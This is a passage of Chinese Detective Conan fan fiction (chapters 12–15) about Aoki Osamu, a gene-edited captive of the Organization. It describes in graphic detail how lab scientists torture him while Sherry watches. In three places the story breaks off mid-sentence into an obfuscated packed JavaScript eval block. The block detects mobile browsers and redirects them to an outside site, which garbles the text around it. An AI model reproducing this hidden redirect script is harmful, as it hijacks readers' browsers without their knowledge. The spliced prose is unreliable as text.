青木修现在完全是酒意上头,处于谁也不怕的状态,站起身就准备对着他补一脚。 “杜林标,住手!” 贝尔摩德上前拉住他。 那名成员走后,酒吧又重新恢复原本的喧闹,只是大家都有意无意地把视线转移到青木修的身上。 这种被窥视的感觉让青木修感到很不舒服,贝尔摩德注意到他的不适,拉着他来到角落里的卡座。 “怎么突然想到来喝酒了宝贝?” 贝尔摩德看看四周,“苏格兰也不在啊,怎么?你和他闹矛盾了?” “没有,别提他。” 杜林标眼睛红红的,手里还没放下杯子,听到“苏格兰”几个字,很是厌恶的别开脸。 “看来真是闹矛盾了啊……” 贝尔摩德像是发现新大陆一样好奇,手指在桌面上敲打着,“我以为动了真心的人是苏格兰,没想到现在看来这个人是你啊杜林标。” “我才没有动真心!” 青木修心虚,欲盖弥彰地驳斥道。 “你骗不过我的,”贝尔摩德笑起来,“我是不是早就说过,这个组织没有真心?” 青木修沉默下来。 “更何况不要忘了你的身份,杜林标,”贝尔摩德伸出涂了指甲油的手指戳戳青木修的眉心,“不管是你还是我,我们永远都无法和其他人一样生活,你能明白吗?” 12. 第 12 章 青木修沉默良久,最后在贝尔摩德的注视下点点头。 “我明白了。” 从那一天之后,诸伏景光便发现青木修开始有意无意躲着自己,就算是做饭时间进入厨房帮忙也只是闷不吭声地低头做事,不愿意和他多说一句话。 “青木!” 担心那一天青木修听到什么不该听到的东西,诸伏景光找机会拦住青木修,准备试探他一下。 “有什么事吗,苏格兰?” 青木修不着痕迹地拍开诸伏景光的手,后退几步和他保持一个安全距离。 “那一天是我不对,我……” 青木修抬手,制止了诸伏景光后面的话。 “我都知道,”青木修不愿意去看诸伏景光的眼睛,“你不用多解释。” 他深吸一口气,似乎是做了什么决定一般,“这件事是我有错在先,你不用放在心上。” “我没有,你可以……” 青木修根本不愿意给诸伏景光多做解释的的机会,“是我自己没有摆正自己的位置,给你造成了误解,对不起。” 说完,青木修逃也似的离开了。 比起诸伏景光,更害怕的人其实是青木修:他害怕诸伏景光再问下去,自己会控制不住说出他和波本的秘密,这样下去……他们恐怕连朋友也做不成。 苏格兰啊苏格兰,青木修缩在自己的房间里,背靠着墙壁一点点滑落,你告诉我该怎么办?我还是爱你。 原本他对诸伏景光的感情只是朦胧的喜欢,但是经过这么一件事,青木修反而确定自己爱着他,并且这份爱不会因为苏格兰的真实身份就发生改变。 青木修不知道的是,一墙之隔的诸伏景光,也无力地倚靠着墙壁,重新审视自己和他之间的关系。 正当他头疼该怎么处理自己和诸伏景光的关系时,琴酒像是“救星”一样的找上门。 “从明天开始杜林标不再参与威士忌小组的行动。” 他仅仅只丢下这么一句话,便带走了青木修。 身后的诸伏景光嘴巴张张合合,想要阻拦却发现自己没有任何立场和权力留下青木修。 他心知肚明青木修一旦跟着琴酒离开会接受怎么样的命运,但是他却做不到护着他半分。 与诸伏景光所想的不同,这倒是逐了青木修的愿,他没有回头去看诸伏景光的表情,自觉跟着琴酒离开已经住了小半年的安全屋。 明明是春暖花开的季节,青木修却觉得寒意刺骨。 “现在好了,全组织都知道你和苏格兰之间的那点事了。” 保时捷365A上,琴酒和青木修坐在后排,伏特加一如既往坐在前排当工具人开车。 青木修注意到伏特加似乎把耳朵支棱起来了。 “我和他之间没什么,琴酒,你太多疑了。” 不得不承认,跟在诸伏景光身边这么久,青木修还是有些变化的——至少现在对上琴酒已经不复从前那么乖顺了,隐隐有些刺扎的感觉,看上去硬气了许多。 “你和他之间到底有没有发生什么你自己清楚——你的变化倒是不小。” 坐在车里,琴酒没直接对着青木修动手。 “承蒙夸奖,人总是会变的。” 杜林标不轻不重地接下琴酒的话,一副我也不怕你的样子。 “看来苏格兰把你教导的不错啊,现在都敢顶嘴了。” 青木修不明白为什么琴酒要抓着自己和诸伏景光之间的关系不放。 “我说过了,我和他没关系。” “你现在只管嘴硬,”琴酒冷笑起来,“一会儿到了测谎仪面前你可千万不要露馅。” 测谎仪? 青木修收紧手指,没想到他们会对自己用这种东西。 果然他们也不信任我吗? 青木修只觉得自己悲哀,居然没有一个人能做到信任自己。 他心中对组织的怨恨更进一层,同时也不可避免的回想到诸伏景光所说的“宿敌”二字。 如果不是有“宿敌”这一层身份在前,我是不是也能得到你的平等相待? 青木修觉得自己的眼眶一阵发热,又逼迫自己不要在琴酒面前落下泪来。 他什么时候变得这么好哭了? 青木修后知后觉地意识到诸伏景光对自己的影响有多么大,在不知不觉中,他跟着诸伏景光学会了表达自己难受,学会了反抗,学会了什么是喜欢…… “喜欢”二字在青木修心尖上狠狠戳了一下,他的喜欢到底算是什么呢?难道就因为他是实验体,所以他的真心就可以被随意践踏? 青木修本想像怨恨组织那样去怨恨诸伏景光,可他发现自己依旧不能控制从心中裂痕里不断渗出的爱意。 “大哥,到了。” 保时捷在路上跑了很久,久到眼前的景色逐渐变得陌生,青木修才意识到这不是开往基地的路。 这是前往鸟取县的路。 想到位于鸟取县的实验室,青木修没忍住打了个哆嗦。 “现在知道怕了?” 琴酒像是扯布娃娃一样把青木修从后座扯出来,“带你去见一个人。” 青木修看着眼前的黄金别馆,什么话也没说,只是沉默地跟在琴酒身后,熟门熟路地找到建在地下的实验室入口,示意琴酒帮他打开权限。 琴酒对他难得配合的态度产生了一点点好奇,不过也没有太过于在意,只当他是因为苏格兰威士忌的事情受了刺激才会这样。 回到熟悉的实验室,青木修下意识绷紧了浑身的肌肉。 在琴酒带领下,青木修见到了一个穿着白大褂的小女孩,看上去只有十几岁的样子。 “这是雪莉,以后由她负责接手你的实验项目。” 茶色头发的女孩抬头看向他,表情有些不自然,看的出来是有些害怕,但还是很努力地让自己冷静下来。 “你好,我是雪莉。” “你好,”青木修回握住雪莉伸过来的手,“我是杜林标。” 琴酒只负责把青木修带回黄金别馆,剩下的事他管不着也轮不到他来操心,两人正是见过面后便有其他的实验人员上来给青木修做身体检查。 “接下来是测谎实验。” 等到晚上再见到琴酒的时候,杜林标已经换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976838|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了白色条纹的实验服。 冰冷的数据线连接在杜林标的身上,琴酒站在观察室内冷冷开口。 “杜林标,威士忌小组有什么问题吗?” “没有。” 青木修在此之前已经接受过无数次这样的实验,对于处理测谎仪也有了自己的一套方法。 测谎仪的绿灯亮起来,证明他没有说谎。 “波本呢?” “没有问题。” “莱伊?” “没有问题。” 青木修冷静地回答着一个个问题。 “苏格兰呢?” 青木修心头一跳,仪器上显示着他心跳快了些许,但测谎仪依旧亮着绿灯。 “看来没问题。” 问完自己想知道的问题,琴酒转身离开,上楼去向BOSS复命。 剩下的几个实验员立刻围上来,将青木修从测谎仪上拆下,带入一间实验室。 “你暂时就住在这里。” 穿着白大褂的女孩儿走进来,看着青木修手上的镣铐,“他们就一直这样对你吗?” 青木修很意外这个女孩会这样和自己说话,他收起刚要展露出来的尖刺和獠牙,露出一副相对友好的神色。 “不这样对我,你们还打算怎么样?” 好吧,其实也没有那么友好。 雪莉注意到青木修语气里的不善,并没有像其他实验人员那样把他怎么样,而是很安静地退了出去,留下青木修一个人对着洁白的墙壁发呆。 “左山先生,我想看看关于杜林标之前的实验资料。” 宫野志保找到实验组里的前辈,向他讨要关于杜林标之前的实验记录。 “我来给你开权限,”左山前辈把杜林标看得很重,很是不厌其烦地叮嘱宫野志保,“杜林标是我们很重要的人,对他做实验还是要小心一点,别轻易把这个实验题弄死了。” 雪莉回到自己的房间,查看过那些资料后,才知道左山前辈为什么会这样说。 和青木修一起培养出来的实验体一共有八个,而现在活下来的人只剩下他一个。 这些实验室的老家伙们非常喜欢活体实验,好几个实验体都是活生生被折磨致死,这才让他们后来有所收敛。 宫野志保一点点看过去,只觉得触目惊心。 左山前辈给她打开的权限里还能查阅到很多视频资料,上面无一不展示着青木修曾经受过的苦。 原来青木修每个月按时吃的药物根本就不是什么止疼药,而是抑制他神经系统作用的药物,如果不是这些药物的抑制作用,青木修会时时刻刻处在精神崩溃的边缘,就算意识清醒没有大碍,浑身发达敏感的痛觉神经也会把他折磨得疯掉。 每次为青木修身体检查时注射的药物也不是什么扩大神经系统作用的药物,而是这些抑制药的缓释剂,让这些药物失效而已。 这些还只是其中一小部分,剩下的部分内容宫野志保根本就不忍直视。 “呕!” 忍着恶心把视频资料大致翻阅完,宫野志保终于控制不住想吐的冲动,冲进洗手间里吐得昏天暗地。 13. 第 13 章 尽管心中对青木修怀有怜悯,但这个组织里多的是身不由己的人,宫野志保如今人微言轻,根本没偶什么力量去改变杜林标如今的处境。 青木修似乎完全接受了自己的命运,丝毫没有想要反抗的迹象。 从几次实验人员的对话中可以得知,那位先生最近的身体状况每日愈下,再加之最近警方查得紧,供给他们使用的活体已经不太够了。 从只言片语中分析出这么点信息,青木修也只是眨眨眼睛,没有多说一个字。 他现在每天都很累,繁重的实验几乎快要把他压垮,根本无暇去顾及其他实验体的命运。 他能做的也就是为那些已经被送来做活体实验的实验体祈祷,祝愿他们能够早日从组织的手下解脱。 除此之外,他并没有把这件事往自己的身上过多联想——组织在他身上的实验已经够多了。 直到某一天,雪莉面色凝重的走进他的房间。 “发生什么事了?” 在众多的研究员里,只有雪莉尝试阻止过那些人往他身上进行过度的实验,也会在每次实验之后悄悄来处理他的伤口,因此,青木修对雪莉的印象还算可以。 “听说‘那位先生’今天又进了一次抢救室。” 这是宫野志保在实验室里忙碌时偶然听见左山先生说的。 “和我有什么关系吗?” 青木修对“那位先生”没什么兴趣,甚至有些怨怼的希望他能就此死掉。 “我知道你在想什么。” 或许是因为站在这里的人是雪莉,青木修没有掩饰自己的表情。 “先生现在正在监护中,应该没什么大碍。” 青木修露出毫不遮掩的失望之情。 “我觉得你还是先关心关心你自己比较好,”雪莉双臂抱胸,颦着眉头继续道,“你应该也听说了吧?组织现在用于活体实验的实验体不够了。” 青木修点点头,隐隐有种不好的预感。 果不其然,下一秒雪莉的话就证实了他心中的预料。 “那些老人们重新把主意打到你身上了”,考虑到房间里有录音设备,宫野志保没有直接称呼那些前辈们为“老家伙”,“他们打算重启一号实验。” “一号实验?” 青木修隐约觉得有些耳熟,仔细想想又没什么印象。 “我看过有关你的资料,你不用回想,当初这些实验用在了几个兄弟姐妹身上,后来因为死亡率太高被迫停止了。” 听到“兄弟姐妹”几个字,青木修逐渐收紧了拳头。 雪莉看着伤痕累累的青木修,语气不禁软了下来,“现在你是那一批实验体中唯一一个还活着的,就算是重启一号实验他们应该也不会对你下手太重。” “我知道了。” 青木修心中有了预测,冲着雪莉浅浅一笑。 “我也只知道这么多了,现在来告诉你,也只是想让你有一个心理准备。” 大多数时候恐惧都源于未知,让青木修提前知道一些内情,或许能帮助他挺过这一关。 “不管怎么说,我还是希望你活下来。” 临走前,雪莉补充了这么一句话。 宫野志保走后,青木修望着洁白的墙壁发呆。 活下来?当初苏格兰也是这么告诉自己的,活下来才有希望。 他轻嗤一声,不止是在嘲讽自己还是在嘲讽谁,希望是什么?这种东西他从来没有过。 . 就在雪莉来找过他的第二天,左山先生带着一群实验员浩浩荡荡的走进他的房间,把本就狭窄的隔间挤得满满当当。 “现在对他的身体数据进行第一次采集。” 左山先生一声令下,立刻有人上前固定住青木修的四肢,接着打开他小臂上紧紧裹着的纱布,露出一道还没愈合的狭长伤口来。 没有麻醉,什么提前措施都没有,实验人员直接用镊子扒开伤口,使用专业的工具采集青木修的肌肉细胞。 青木修疼得冷汗涔涔,肌肉细胞被撕裂的刹那,他猛然痉挛了一下,修长的脖颈昂起,脑袋狠狠磕向床沿护栏。 “让他不要乱动。” 左山先生指挥另外两个人把青木修转移到一张可移动的病床上,“把采集到的肌肉细胞保存好,其他人跟我走。” 肌肉细胞采集完毕,研究人员也只是简单在他小臂上包扎了一下,让血流的不那么多,方便进行下一项检查。 这一次青木修被带到了一间正式的实验室,身上的条纹病号服被解开,实验人员在他周围忙前忙后,又是检查又是局部消毒,弄得青木修有些摸不着头脑。 “他昨天的血液检查结果怎么样?” 左山先生招来一名助手,拿过血检结果快速浏览。 “一切正常,符合采集指标。” 左山先生对着已经准备完毕,随时可以工作的实验人员挥挥手。 穿刺针打入髂骨的刹那,青木修痛得简直要懵掉,他像是濒死的鱼一般抽动了两下,却被实验人员死死按住。 穿刺针一点一点深入肌肉内里,直到插入腰后的脊髓。 “呼……呼……” 青木修心脏剧烈跳动,他不得不大口呼吸来缓解疼痛。 白色的骨髓慢慢顺着导管流入特质的保管箱,青木修已经痛得发不出声音了,只是躺在手术床上,一下一下的倒抽着凉气。 “两百毫升骨髓采集完毕。” 只有两百毫升吗? 青木修模模糊糊地想,他分明感觉自己快要被抽干了,怎么才抽了这一点。 “好了,让他休息一下,别疼死了。” 一群人又呼呼啦啦地离开,只留下一只手被固定在手术床上的青木修一人。 “唔……” 等到人全部走完,青木修才敢慢慢蜷缩起身体,小声呜咽。 “杜林标,你还好吗?” 不知过去多久,病房的门再一次被人从外打开。 是雪莉。 青木修看清来人,微微放松了绷紧的肌肉。 “痛!” 宫野志保撩起青木修的病号服,把手中的药敷在他腰侧的伤口上,青木修疼的一激灵。 雪莉看着又开始沁冷汗的青木修,几番纠结,还是决定把真相告诉他。 “你知道为什么会这么疼么?” 青木修点点头,虚弱道:“是惩罚。” “不是哦,”雪莉帮助他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976839|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻身,给他处理另一边的伤口,“你的资料上显示,他们在培养你的时候就有意编辑过控制神经系统的基因,你天生神经系统就更加发达,之前感受不到疼痛是因为你每个月吃的药。” “那不是治心脏的吗?” 他记得左山先生告诉过他,每个月吃的药有促进心脏和芯片融合的作用,防止心脏发生排异反应。 “不是,”雪莉无情地打碎了他的幻想,“那种药物专门抑制你的神经系统,主要针对的就是痛觉神经,你之前受罚时注射的药物也不是用来扩大神经反应的,只是一种相对缓释剂而已。” “……那我的心脏呢?” 青木修懵懵地捂住胸口,感受血肉之下心脏的跳动。 “你的心脏暂时没有问题,芯片和你的心脏融合的很好。” 宫野志保安慰他,青木修敏锐的抓到了另一个细节: “什么叫做‘暂时没有问题’?” “呃……” 雪莉没想到自己一个不小心说漏了嘴,只好承认道:“我不太清楚他们给你植入芯片时是怎么告诉你的,但是我看到的资料上明确说明由于基因编辑的不可控性,你的心脏先天发育有点问题,这才给你安装芯片辅助跳动。” “这样啊……” 原来当时植入芯片也没跟他说实话。 这些人对待他就像是对待一只小白鼠,小白鼠不需要知道他们的实验目的,只需要乖乖接受自己的命运就好。 “谢谢你告诉我这些。” 青木修很感谢这个看起来年纪不大但十分老成的女孩,至少在她这里,青木修感受到了一丝尊重和同情。 和苏格兰给予他的虚假爱意不同,雪莉给予他的是同为人类的尊重。 “没什么……” 宫野志保撩了下额前碎发,“我没有办法帮你……我只是觉得,你有权利知道这些东西。” 在这里待的时间不短了,雪莉担心让人发现自己擅自离岗太久,急急忙忙的回到实验室。 “雪莉?你干什么去了?” 她一进去就被左山先生拦住。 “不好意思先生,我刚刚身体不太舒服。” 她不想让左山看出自己和青木修关系多有亲近,以免给青木修带来不必要的麻烦。 “去帮忙把杜林标的骨髓做成切片标本。” “明白,”雪莉将双手消毒,戴上手套走入工作间,一边忙活一边问身边的实验员,“你知道‘一号实验’到底是怎么回事吗?怎么连造血干细胞都要保存。” 同事摇摇头,“我还以为你会比我更清楚一点,毕竟杜林标之前的实验项目在创始人意外死亡之后就由你父母接手了。” “是吗?” 宫野志保动作一滞,没想到自己的父母居然也在这个实验项目上有所参与。 “当时我还小,没什么印象了。” 同事的神色忽然神秘起来,凑近她压低声音道:“我听左山先生说过一次,一号实验是最接近逆转时间的方法。” 逆转时间? 宫野志保一直以为这只是组织的一个口号而已。 要知道,向来只有时间支配人类的份儿,居然真的有人会妄想掌控时间洪流。 14. 第 14 章 从那一天的下午开始,研究中心对青木修展开了一系列密集实验。 “第十二次注射尝试。” 一旁的记录员口中吐出冰冷的数字,随即有人将淡蓝色的药液注入青木修的血管里。 不出五分钟,青木修逐渐开始不受控制的抽搐,整个人从床上翻滚到地上,扭曲的蜷缩成一团,口中不断的发出哀嚎。 他的嗓子已经有些嘶哑了。 今天注入的药液可能含有钾,进入血管之后火辣辣的疼,整条手臂仿佛都开始燃烧起来。 “雪莉,他的心率怎么样?” 宫野志保站在高高的仪器后,正好遮住了她担忧的眼神。 “有所加快,但在正常节律内。” 左山先生得到满意的答案,转头靠近青木修,命人把他从地上架起来,撑开他的眼皮看了看瞳孔。 “继续注射。” 青木修嘴巴里的肉已经被他自己咬烂了,张开嘴抽气时能清晰地看见嘴唇上沾的血。 “给他拿个牙套,”左山先生注意到青木修嘴巴里逐渐渗出来的血迹,示意助手给他带上牙套,“别把自己咬死了。” 柔软的护齿牙套塞入口腔,青木修却一阵作呕,但是他已经很多天没有正常吃过东西了,现在连酸水也吐不出来。 又是一针不知名的药剂注入体内,一开始还没什么不适感,甚至还对上一针的疼痛有所缓解。 “哈……” 青木修好不容易从一开始的剧痛中缓过神,突然感觉自己的心脏像是被一只大手抓住,有点跳不动的感觉。 “救我……” 心脏上传来的痛意愈发明显,求生的本能让青木修冲着站在他身旁的几名研究人员伸出手。 “嗬……嗬……” “左山先生,他的心跳现在太慢了!” 一直观察着仪表的雪莉第一时间发出警告。 “再等两分钟。” 左山拦住想要给青木修注射强心针的助手,冷冷观察着在地上扭动挣扎的人。 直到青木修整张脸都开始肿胀发紫,左山先生这才放了人。 “前辈,强心针的效果不明显,他现在的心跳还是很慢。” 又是几分钟过去,青木修依旧在地上苦苦挣扎着。 “救……我……” 宫野志保扭头,和他颤抖的眸光对上,心下一空。 青木修实在是太痛了,心脏像是被人紧紧捏住,胃里也是一片翻江倒海,就如同有人不断大力捶打着他的腹部。 “先生……” 宫野志保不忍心再看下去,扭头将求助的目光投向左山先生。 “给他连接芯片,电流刺激。” 左山吩咐完助手,抬脚走到宫野志保身边,低头看着她。 “雪莉,你在心疼他吗?” “没有,我只是……有点可怜他。” 宫野志保连忙摇摇头否认。 “那我今天就交给你一个道理。” 左山示意雪莉去看青木修。 助手这时候已经在他的胸口连接好仪器,摁下开关后,青木修瞬间停止了所有的动作,昂头倒在地上,没了动静。 宫野志保连忙去看仪表,见青木修的心跳逐渐恢复到正常数值,这才稍稍放下心,做出一副洗耳恭听的姿态。 “先生请讲。” “你要记住,杜林标只是我们培育出来的一只符合标准的小白鼠。” 宫野志保脸上的肌肉僵住了。 “作为一个科研人员,你能因为可怜小白鼠就停止实验吗?” 左山先生意味深长的看着她,似乎要把她看穿。 “不能。” “好孩子,”左山先生拍拍宫野志保的肩膀,“好好准备准备,我想让你正式接手你父母的实验项目。” 宫野志保没有说话,左山先生此刻也将注意力从她身上重新转移回青木修。 “今天先到这里吧,一会儿记得带他去做检查,别忘了记录。” 左山先生点了两个人,上前把青木修重新拷回病床,推着他出门做检查去了。 宫野志保原本以为接手实验项目不过是左山先生随口给的允诺,没想到没过多久他身边的助手就跑来亲自通知她,有资格参与青木修下一阶段的实验。 “这些是你父母留下来的资料,你这几天先看看。” 助手将一张储存卡交给她。 宫野志保一连好几天都沉醉于翻阅父母留下来的实验资料。 原来这个世界上真的有能够逆转时间的技术。 通过调控细胞的脱分化和再分化,从而掌控身体年龄的变化,也就是传统意义上的“返老还童”。 她一直以为人们对控制动物细胞的脱分化和再分化还有技术壁垒,但是万万没想到组织竟然掌握有某生化部队遗留下来的资料,清晰地掌握着每一个人体极限数值。 震惊,恶心交织在一起,宫野志保这几天都没能正儿八经吃饭。 原来组织所谓的一号实验就是想要寻找再不脱离原本的器官内环境下,如何诱导人体的器官细胞进行脱分化。 宫野志保觉得十分不可思议,要知道皮肤是人体最大的器官,不脱离人体环境诱导器官脱分化,难道不会让皮肤也一起脱分化吗? 她在脑中想了想人体逐渐“融化”的场景,感到一阵恶寒。 但是组织的进程远超她的想象,实验中心现在已经研究出靶向药物,理论上已经可以定向诱导某一部分的细胞发生变化。 而青木修接受的就是这种实验。 左山先生吸取了多年前其他实验体死亡的教训,这次在进一步实验开始之前就让人提取了青木修的DNA备份,以防不时之需。 安全起见,青木修被转移到一间无菌手术室,所有要进入这个房间的人都要经过严格的消毒,包括每天送进来给青木修维持生命用的营养液。 一根长长的链子锁在青木修的手腕上,让他在手术室内还有一定的自由可言,但实际上,青木修早就被折腾的没了下地的力气,每天的营养液也只是基本维持生存,实验之余,他大多时候都躺在床上一动不动。 宫野志保好几次都想找机会进来单独看看他,可惜一直没有机会。 实验讲究一个循序渐进,左山先生一开始并没有让人给青木修注射大剂量的诱导剂,而是先从一些相对不那么重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976840|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要,可以代替的器官开始。 最先遭殃的是青木修的胃,这个器官已经快要被营养液完全取代,于是左山先生便挑着它优先下手。 “呕……!” 先是一周的药物注射,青木修的反应随着剂量的增大而增大,到最后两天的时候几乎一整天都趴在病房的水池边干呕。 药物注射结束之后,便进入手术观察阶段。在接下来的三周内,青木修以平均两天一次的频率接受穿刺手术,以便实验人员提取他的胃部细胞进行观察。 宫野志保现在已经是正式研究人员之一,基本上每天都会跟着左山先生一起出现在病房,也就目睹了青木修一点点消瘦下去的全过程。 原本青木修的脸颊上还有一些软肉,现在皮肤之下的肌肉基本上都流失了,只剩下一层薄薄的皮肤包着骨头,眼眶深深凹陷下去,显得他眼睛异常的大,眼白明显,几乎有些可怖。 这些研究人员同样没有忽视青木修的变化,但他们并不担忧——每天的营养液会给青木修提供足够维持生命的营养,也就是说,他不会有生命危险。 如此一来,青木修的身体状况也就没什么值得他们担心的了。 第三十天的时候,左山先生兴奋的宣布了一个好消息。 他格外慈祥地摸了摸青木修的脸颊,丝毫不嫌弃掌下的骨头硌手,夸奖道:“孩子,你很棒。” 青木修还不知道发生了什么,但是他不喜欢左山先生的触碰,下意识地想要躲开,却没有力气移动自己。 现在他连挪开手腕上铁链的力气都没有。 “你的胃部年龄已经重新回到十八岁左右,我们的实验方向是正确的!” 青木修无力地扯动了一下嘴角,真是辛苦他,这么大的消息还要亲自来跟自己这只小白鼠说。 “前辈,我们是不是可以给他喂一些常规的食物?” 在众人欢呼之际,宫野志保低声询问左山先生,试图发表自己的意见。 “你还是在可怜他吗?” 左山先生对宫野志保没把自己的话听进去而感到略有不满。 “您误会了,前辈,”宫野志保为自己辩解,“我只是注意到下一步的实验对象是脾脏,我只是担心他现在这个样子,到时候抵抗力不足,会惹出什么麻烦来。” 左山先生根本没有把宫野志保的担忧当回事儿:他从心里面还是有些小看这个继承了自己父母位置的后辈。 “没关系,你的担心是多余的。” 看在有好消息在前,左山先生耐住性子解释道:“我们对他的身体状态有严格的评估,他现在的状态可以接受实验。” “可是……” 宫野志保还想再说什么,却被左山先生强硬的制止。 “没有可是,孩子,你应该对我们的实验方案充满信心。” 左山先生始终是高傲的,他觉得自己已经带领着团队接受了前车之鉴,现有的实验方案已经很安全,没有什么需要改进的地方,宫野志保的担心纯粹是多余的。 “好吧先生,我明白了。” 见自己劝不动左山先生,宫野志保也只得放弃。 但是,她的担心真的是多余的吗? 15. 第 15 章 结果证明,宫野志保的担忧并不是多余的。 脾脏针对性试验开始之后,青木修发生了很严重的排斥反应,一开始没有人把他的症状当回事——毕竟当时胃部实验刚开始的时候,他也是这个样子。 “前辈,杜林标这几天的排异反应很大,甚至出现了皮肤皲裂渗血的情况。” 宫野志保有些担忧地向左山先生汇报青木修的情况,希望能够引起这位负责人的重视。 毕竟脾脏直接关系到人体的免疫功能,青木修如今的状态实在很难保证他有什么良好的免疫力。 长期待在无菌环境内对他的身体菌群也产生了影响。 “没什么问题,实验继续。” 左山先生非常潦草地翻过宫野志保带来的,自己精心整理的材料,轻易地下了决定。 他说这句话时,嘴角甚至带着不屑的笑容。 几天之后,他却笑不出来了。 青木修的皮肤开始像泡发的墙皮一样一块块的脱落,露出下面鲜红的血肉。 医务人员想要帮他包扎,然而青木修的皮肤已经开始脆弱到经不起触碰,每次拆换绷带都会带下一大片的皮。 左山先生这才慌了神,连忙暂时叫停实验,暂停给青木修注射靶向药物。 但似乎已经有些晚了,青木修脸上的皮肤也开始一点点剥落,血肉模糊的脸朝向左山先生时,他总是会产生一种自己被地狱恶鬼缠上的错觉。 “前辈!他现在需要造血干细胞!” 青木修后期甚至开始呕血,经过紧急检查,发现是内脏感染导致的内出血。 宫野志保眼看着青木修的症状愈来愈向辐射病发展,其他实验人员又无计可施,只能死马当活马医,大着胆子向左山先生提出自己的意见。 “对对,”左山一脸如梦初醒的表情,“当时给他备份的造血干细胞呢?” 属于青木修的造血干细胞被重新输入进他的身体,宫野志保隔着玻璃,殷切地看着他。 老天出手救了青木修一命,输入造血干细胞之后,青木修的身体各项数据逐渐稳定下来,一直难以控制的内出血也有所减缓。医务人员这才有办法控制住他内部的器官感染。 “这次你真是立了大功。”左山第一次正眼瞧自己这个后辈,眼中流露出些许的赞赏。 虽然他们提前备份了青木修的DNA信息,但是想要重新培养一个实验体也并不是一件非常容易的事,基因编辑有太多的不可控因素,谁知道再培养出来的实验题是不是和青木修一样符合标准。 宫野志保想办法救下青木修一命,也为实验中心省去了不少麻烦事,左山先生当即让助手进一步升级了宫野志保在实验中心的权限。 “从今天开始,你就是项目组的核心人员之一了。” 然而宫野志保却没有半分升级的喜悦,她望着无菌手术室里,几乎融化成一团模糊血肉的青木修,眼中还是不自觉地流露出怜悯。 不过有左山先生在场,她很快地调整好自己的状态,没让他看出什么端倪。 又过去几天的时间,实验中心迎来了一位意想不到的来客——贝尔摩德。 “左山先生,”贝尔摩德此次前来的目的是拿取控制自己容貌的药物,“杜林标最近怎么样了?” 知道贝尔摩德深受BOSS器重,左山先生没敢撒谎,如实将青木修的情况告知给她。 “什么?” 听完左山先生的汇报,贝尔摩德深深皱起眉头,“你们是怎么搞得?” 面对她的质问,左山先生冷汗不断,有些尴尬的摸了摸鬓角,“可能是一开始的实验设计上出了些问题……不过您放心,我们已经开始着手调整实验方案了!” “你们自己心里有数就好,”贝尔摩德意有所指,“要知道,杜林标可不仅仅是给你们当小白鼠那么简单,关键时刻……” “我们明白!明白!绝对不会让杜林标随随便便死掉!” 对于左山先生有多么能折腾人贝尔摩德心里也清楚,见状并没有完全放下心,“我能去看看他吗?” “可以的可以的!” 左山先生连连点头,带着贝尔摩德走进地下的实验中心。 换好防护服,贝尔摩德走进关着杜林标的病房。 正中央的手术床上,躺着一个被绷带裹满的木乃伊。 “杜林标?” 虽然心里早有准备,但看到当事人的那一刹那,贝尔摩德还是在心中忍不住的感到一阵恶寒。 青木修周身散发着一股有些难闻的味道,是药物和血液混合在一起形成的,即便隔着口罩也没能阻挡这股味道进入鼻腔。 贝尔摩德的眉毛拧得更紧了。 青木修早在她踏进这间房的瞬间便醒了过来,只不过这时才睁开眼睛。 “贝尔摩德,你怎么来了?” 经过几天的救治,他现在的精神还能勉强称得上一句不错。 “我来看看你死没死。” 贝尔摩德没好气地说,青木修的眼睛实在是太空太大,盯住她的时候让人浑身起鸡皮疙瘩。 “承蒙你关心,还没死。” “那还真是可惜了,我以为这次能来给你收尸呢。” “让你失望了,我还活得好好的。” 青木修张开嘴,露出一个惨白的笑容,牙齿上还沾着血迹。 “你别说话了。”这里的气味实在是有些古怪,再加上青木修现在的样子着实是有些渗人,贝尔摩德已经没有多余的心思看下去,转身走出病房,进入观察室。 “我最后提醒你们一次,杜林标的性命可不单单是属于你们实验组。” 贝尔摩德一边脱防护服一边警告左山先生,这群实验狂魔发起疯来有多疯狂,她是再清楚不过的。 “明白,明白。” 左山先生不住地对着贝尔摩德弯腰道歉,生怕她一个不高兴到BOSS面前说上几句,导致他们实验暂停。 毕竟对于他们这种人来说,实验就是生命,如果放着进行了一半的实验不让他们进行下去,这要比直接杀了他们还难受。 自己此行的目的达成,贝尔摩德也没有多做停留。 . 对于威士忌小组来说,青木修离开已经快两个月了。 诸伏景光在这两个月的时间里一直惴惴不安,既担忧青木修现在的情况,又担心他听到什么不该听到的东西告发自己和降谷零。 